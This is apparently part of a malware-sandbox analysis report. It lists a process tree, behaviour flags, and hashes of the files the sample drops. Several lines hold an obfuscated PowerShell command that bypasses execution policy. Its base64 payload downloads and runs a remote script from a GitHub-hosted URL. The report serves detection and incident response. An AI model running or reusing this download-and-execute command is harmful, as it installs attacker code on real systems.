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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:2672
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Suspicious use of AdjustPrivilegeToken
PID:432
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:3948
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2988
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4400
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\0qffd0uq\0qffd0uq.dll
- Size 3KB
- SHA256 480db873f3fa57ed91ca0cb4a4d69fb8fc7a86543d9896c3939df4b2670991dc
- MD5 665b3685e29fe119623979ab36107f85
- SHA1 0ef83eba63a9d569d5354ce6be017f70080ef433
- SHA512 c8b230feece66ec5052850b0073179d1bbb16dae193b33864386fdf27740690392523a5e173cfe224524c9ea4020e13b583192f0f10489106f3c6ae35610b53d
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\RES94CE.tmp
- Size 1KB
- SHA256 1e024096de5adb138a02218549ba8c333a0d464f8899e1581fa70af786383c7f
- MD5 d357c066adb45598f2debee882e0085a
- SHA1 608d9425f18168e6c928ee4e1d40a58e8e98b38d
- SHA512 e48c46e9d7eb4a78f4cdf01aa369d175c0e3bf2ceb8896b0d211505df9294d41a37ef36aa169d8f39983ce0296680c92670f16e17abe8ca0f097eade62d8f5ac
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orlfxsph.yo4.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1
- Size 2.5MB
- SHA256 1fa24f444e6b18ab2072201a5d9de4df325830990f073194addb5327137c2e89
- MD5 5db5ffa607b5b5ca17bfd6fb78403660
- SHA1 1e793958cb1dd1dc99da4a50beaa2945561b7a16
- SHA512 3d2eab2b02c1d7302b563e3cc232791e242c8d2686a0a4cb58115cdd4ca19f48e390791404f62fef2c0fdbe3e5185b260de6a8fd5ccef2e091d473e0186ffe43
- SSDEEP 24576:MkJhKL17B5lsSHMPKWvpvl2FHXLhoJv8Zb/aSOI0uTgthQjfZLJY4SjDG270AzA3:RKLHfsR43XD1gjQjfojW6KHmEij2N
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\ready.ps1
- Size 1KB
- SHA256 abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
- MD5 28d9755addec05c0b24cca50dfe3a92b
- SHA1 7d3156f11c7a7fb60d29809caf93101de2681aa3
- SHA512 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42
- MD5 SHA1 SHA512
- Path C:\Windows\Branding\mediasrv.png
- Size 60KB
- SHA256 21a0a297e9a2295f7e32aea08ea74c01199cc57d30b8a177fa99c9cc96a6268b
- MD5 96e498a3833f52ae46bcfdc391f73cf7
- SHA1 ecaf72b46cf1cb074bde2914963bb1e61450ca95
- SHA512 9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540
- SSDEEP 1536:ym3ZCrO6Nd/qop+HtheW2USHNzYzOYlRf5L:yukSysoIenUozUP
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Branding\mediasvc.png
- Size 743KB
- SHA256 b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0
- MD5 2ee3d03bb1f8bd257235fc70e92b17e1
- SHA1 c36482b8f8229578dec1cc687aaf53084cb6d05e
- SHA512 39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea
- SSDEEP 12288:0K/B5QF5BV3wW9uD/mhCQFhvLulYMoGoPMP7ki06oU543v9nNU0zVd2YqDJpR:TB5QzB2W9xhzulYMoGoU7lWv9NFD2YqN
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIE416.tmp
- Size 24KB
- SHA256 3e6520cd56070637daa5c3d596e57e6b5e3bd1a25a08804ccea1ce4f50358744
- MD5 d0e162c0bd0629323ebb1ed88df890d6
- SHA1 cf3fd2652cdb6ff86d1df215977454390ed4d7bc
- SHA512 a9c82f1116fce7052d1c45984e87b8f3b9f9afeb16be558fd1ecbd54327350344f37f32bc5d4baabd3e1cf3ac0de75c8ba569c1e34aaf1094cd04641d137c117
- SSDEEP 192:D161V1+hcTueeCSh5e29gEK6WK2SpCSPQVsYIF8SYLzoDpjF/qTUqYjZ2l5gnJQT:D12+hcTueeCSXe29KSLIzw3VgYJQT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\rfxvmt.dll
- Size 40KB
- SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
- MD5 dc39d23e4c0e681fad7a3e1342a2843c
- SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
- SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
- SSDEEP 768:LXDwpWUg0pEiUMoJ6HvQN93cXZ3uV1AX+qw51QnVJL0EAX6tN:dM7PQP3mA+5n+6tN
- MD5 SHA1 SHA512 SSDEEP
- Path \??\c:\Users\Admin\AppData\Local\Temp\0qffd0uq\0qffd0uq.0.cs
- Size 424B
- SHA256 e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
- MD5 9f8ab7eb0ab21443a2fe06dab341510e
- SHA1 2b88b3116a79e48bab7114e18c9b9674e8a52165
- SHA512 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\0qffd0uq\0qffd0uq.cmdline
- Size 369B
- SHA256 bf4ad093068496363288005aa16e87b52bfce14b8c3dfc41a80c7e840112fc7d
- MD5 6ae66e20610b777e02b43504b820bb78
- SHA1 8d50a05e429f0d6d26f67e4986d3ca29d3ec2a70
- SHA512 8d41e84b1bed309eeb9665374a453ed3d093e1daa24e0d631d89da0a73ea105a9785c6d76bea7a51d2cfe5dc2da70d7ec3b50c1fbe9400244d66ce183d8ff37d
- MD5 SHA1 SHA512
- Path \??\c:\Users\Admin\AppData\Local\Temp\0qffd0uq\CSCC28D76AEF0B9439CA13729E6FCF9B6F.TMP
- Size 652B
- SHA256 96bdeb6702a5ec92dc7f2b210e3fffd2e445b29c07c8796836e5288a647e1bdb
- MD5 9d81e7fb9e731579b845854c82751375
- SHA1 6fd00b9c8ef551c6ea5cbbd60dd708ac3850a1d3
- SHA512 f7a4a5b7ae30958a0a47459a0ac31cd5784dbc13e006801048bb5e8e23874a3063cec6b8ebe617b42e1e9a37944f53197b55f18adbe954a3aae74932a342f8a1
- MD5 SHA1 SHA512